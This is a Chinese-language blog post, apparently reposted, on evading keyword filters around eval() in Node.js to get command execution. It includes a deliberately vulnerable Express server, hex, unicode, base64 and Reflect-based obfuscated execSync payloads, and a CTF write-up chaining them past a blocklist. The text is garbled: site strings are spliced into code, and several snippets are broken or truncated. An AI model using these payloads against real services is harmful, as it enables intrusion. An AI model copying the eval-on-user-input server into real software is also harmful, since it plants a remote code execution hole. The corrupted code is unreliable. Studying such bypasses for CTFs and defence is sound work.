nodejs程式碼執行繞過的一些技巧彙總
在php中,eval程式碼執行是一個已經被玩爛了的話題,各種奇技淫巧用在php程式碼執行中來實現bypass。這篇文章主要講一下nodejs中bypass的一些思路。
1. child_process
首先介紹一下nodejs中用來執行系統命令的模組child_process。Nodejs通過使用child_process模組來生成多個子程序來處理其他事物。在child_process中有七個方法它們分別為:execFileSy程式設計客棧nc、spawnSync,execSync、fork、exec、execFile、以及spawn,而這些方法使用到的都是spawn()方法。因為fork是執行另外一個子程序檔案,這裡列一下除fork外其他函式的用法。
require("child_process").exec("sleep 3"); require("child_process").execSync("sleep 3"); require("child_process").execFile("/bin/sleep",["3"]); //呼叫某個可執行檔案,在第二個引數傳args require("child_process").spawn('sleep',['3']); require("child_process").spawnSync('sleep',['3']); require("child_process").execFileSync('sleep',['3']);
不同的函式其實底層具體就是呼叫spawn,有興趣的可以跟進原始碼看一下
const child = spawn(file,args,{ cwd: options.cwd,env: options.env,gid: options.gid,uid: options.uid,shell: options.shell,windowsHide: !!options.windowsHide,windowsVerbatimArguments: !!options.windowsVerbatimArguments });
2. nodejs中的命令執行
為了演示程式碼執行,我寫一個最簡化的服務端,程式碼如下
const express = require('express') const bodyParser = require('body-parser') const app = express() app.use(bodyParser.urlencoded({ extended: true })) app.post('/',function (req,res) { code = req.body.code; console.log(code); res.send(eval(code)); }) app.listen(3000)
原理很簡單,就是接受post方式傳過來的code引數,然後返回eval(code)的結果。
在nodejs中,同樣是使用eval()函式來執行程式碼,針對上文提到rce函式,首先就可以得到如下利用程式碼執行來rce的程式碼。
以下的命令執行都用curl本地埠的方式來執行
eval('require("child_process").execSync("curl 127.0.0.1:1234")')
這是最簡單的程式碼執行情況,當然一般情況下,開發者在用eval而且層層呼叫有可能接受使用者輸入的點,並不會簡單的讓使用者輸入直接進入,而是會做一些過濾。譬如,如果過濾了exec關鍵字,該如何繞過?
當然實際不會這麼簡單,本文只是談談思路,具體可以根據實際過濾的關鍵字變通
下面是微改後的服務端程式碼,加了個正則檢測exec關鍵http://www.cppcns.com字
const express = require('express') const bodyParser = require('body-parser') const app = express() function validcode(input) { var re = new RegExp("exec"); return re.test(input); } app.use(bodyParser.urlencoded({ extended: true })) app.post('/',res) { code = req.body.code; console.log(code); if (validcode(code)) { res.send("forbidden!") } else { res.send(eval(code)); } }) app.listen(3000)
這就有6種思路:
- 16進位制編碼
- unicode編碼
- 加號拼接
- 模板字串
- concat函式連線
- base64編碼
2.1 16進位制編碼
第一種思路是16進位制編碼,原因是在nodejs中,如果在字串內用16進位制,和這個16進位制對應的ascii碼的字元是等價的(第一反應有點像mysql)。
console.log("a"==="\x61"); // true
但是在上面正則匹配的時候,16進位制卻不會轉化成字元,所以就可以繞過正則的校驗。所以可以傳
require("child_process")["exe\x63Sync"]("curl 127.0.0.1:1234")
2.2 unicode編碼
思路跟上面是類似的,由於javascript允許直接用碼點表示Unicode字元,寫法是”反斜槓+u+碼點”,所以我們也可以用一個字元的unicode形式來代替對應字元。
console.log("\u0061"==="a"); // true require("child_process")["exe\u0063Sync"]("curl 127.0.0.1:1234")
2.3 加號拼接
原理很簡單,加號在js中可以用來連線字元,所以可以這樣
require('child_process')['exe'%2b'cSync']('curl 127.0.0.1:1234')
2.4 模板字串
相關內容可以參考MDN,這裡給出一個payload
模板字面量是允許嵌入表示式的字串字面量。你可以使用多行字串和字串插值功能。
require('child_process')[`${`${`exe`}cSync`}`]('curl 127.0.0.1:1234')
2.5 concat連線
利用js中的concat函式連線字串
require("child_process")["exe".concat("cSync")]("curl 127.0.0.1:1234")
2.6 base64編碼
這種應該是比較常規的思路了。
eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())
3. 其他bypass方式
這一塊主要是換個思路,上面提到的幾種方法,最終思路都是通過編碼或者拼接得到exec這個關鍵字,這一塊考慮js的一些語法和內建函式。
3.1 Obejct.keys
實際上通過require匯入的模組是一個Object,所以就可以用Object中的方法來操作獲取內容。利用Object.values就可以拿到child_process中的各個函式方法,再通過陣列下標就可以拿到execSync
console.log(require('child_process').constructor===Object) //true Object.values(require('child_process'))[5]('curl 127.0.0.1:1234')
3.2 Reflect
在js中,需要使用Reflect這個關鍵字來實現反射呼叫函式的方式。譬如要得到eval函式,可以首先通過Reflect.ownKeys(global)拿到所有函式,然後global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]即可得到eval
console.log(Reflect.ownKeys(global)) //返回所有函式 console.log(global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]) //拿到eval
拿到eval之後,就可以常規思路rce了
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('global.process.mainModule.constructor._load("child_process").execSync("curl 127.0.0.1:1234")')
這裡雖然有可能被檢測到的關鍵字,但由於mainModule、global、child_process等關鍵字都在字串裡,可以利用上面提到的方法編碼,譬如16進位制。
global[Reflect.ownKeys(global).find(x=>x.includes('eval'))]('\x67\x6c\x6f\x62\x61\x6c\x5b\x52\x65\x66\x6c\x65\x63\x74\x2e\x6f\x77\x6e\x4b\x65\x79\x73\x28\x67\x6c\x6f\x62\x61\x6c\x29\x2e\x66\x69\x6e\x64\x28\x78\x3d\x3e\x78\x2e\x69\x6e\x63\x6c\x75\x64\x65\x73\x28\x27\x65\x76\x61\x6c\x27\x29\x29\x5d\x28\x27\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29\x27\x29')
這裡還有個小trick,如果過濾了eval關鍵字,可以用includes('eva')來搜尋eval函式,也可以用startswith('eva')來搜尋
3.3 過濾中括號的情況
在3.2中,獲取到eval的方式是通過global陣列,其中用到了中括號[],假如中括號被過濾,可以用Reflect.get來繞
Reflect.get(target,propertyKey[,receiver])的作用是獲取物件身上某個屬性的值,類似於target[name]。
所以取eval函式的方式可以變成
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes('eva')))
後面拼接上命令執行的payload即可。
4. NepCTF-gamejs
這個題目第一步是一個原型鏈汙染,第二步是一個eval的命令執行,因為本文主要探討一下eval的bypass方式,所以去掉原型鏈汙染,只談後半段bypass,程式碼簡化後如下:
const express = require('express') const bodyParser = require('body-parser') const app = express() var validCode = function (func_code){ let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig; return !validInput.test(func_code); }; app.use(bodyParser.urlencoded({ extended: true })) app.post('/',res) { code = req.body.code; console.log(code); if (!validCode(code)) { res.send("forbidden!") } else { var d = '(' + code + ')'; res.send(eval(d)); } }) app.listen(3000)
由於關鍵字過濾掉了單雙引號,這裡可以ThlXjQhY全部換成反引號。沒有過濾掉Reflect,考慮用反射呼叫函式實現RCE。利用上面提到的幾點,逐步構造一個非預期的payload。首先,由於過濾了child_process還有require關鍵字,我想到的是base64編碼一下再執行
eval(Buffer.fro程式設計客棧m(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base64`).toString())
這裡過濾了base64,可以直接換成
`base`.concat(64)
過濾掉了Buffer,可以換成
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))
要拿到Buffer.from方法,可以通過下標
Object.values(Reflect.get(global,Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`))))[1]
但問題在於,關鍵字還過濾了中括號,這一點簡單,再加一層Reflect.get
Reflect.get(Object.values(Reflect.get(global,Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)
所以基本payload變成
Reflect.get(Object.values(Reflect.get(global,1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=`,`base`.concat(64)).toString()
但問題在於,這樣傳過去後,eval只會進行解碼,而不是執行解碼後的內容,所以需要再套一層eval,因為過濾了eval關鍵字,同樣考慮用反射獲取到eval函式。
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes('eva')))(Reflect.get(Object.values(Reflect.get(global,`base`.concat(64)).toString())
在能拿到Buffer.from的情況下,用16進位制編碼也一樣.
Reflect.get(global,1)(`676c6f62616c2e70726f636573732e6d61696e4d6f64756c652e636f6e7374727563746f722e5f6c6f616428226368696c645f70726f6365737322292e6578656353796e6328226375726c203132372e302e302e313a313233342229`,`he`.concat(`x`)).toStringwww.cppcns.com())
當然,由於前面提到的16進位制和字串的特性,也可以拿到eval後直接傳16進位制字串
Reflect.get(global,Reflect.ownKeys(global).find(x=>x.includes(`eva`)))(`\x67\x6c\x6f\x62\x61\x6c\x2e\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x2e\x5f\x6c\x6f\x61\x64\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x75\x72\x6c\x20\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x3a\x31\x32\x33\x34\x22\x29`)
感覺nodejs中對字串的處理方式太靈活了,如果能eval的地方,最好還是不要用字串黑名單做過濾吧。
感謝我前端大哥semesse的幫助
參考連結
https://xz.aliyun.com/t/9167
https://camp.hackingfor.fun/
總結
到此這篇關於nodejs程式碼執行繞過的一些技巧彙總的文章就介紹到這了,更多相關nodejs程式碼執行繞過內容請搜尋我們以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援我們!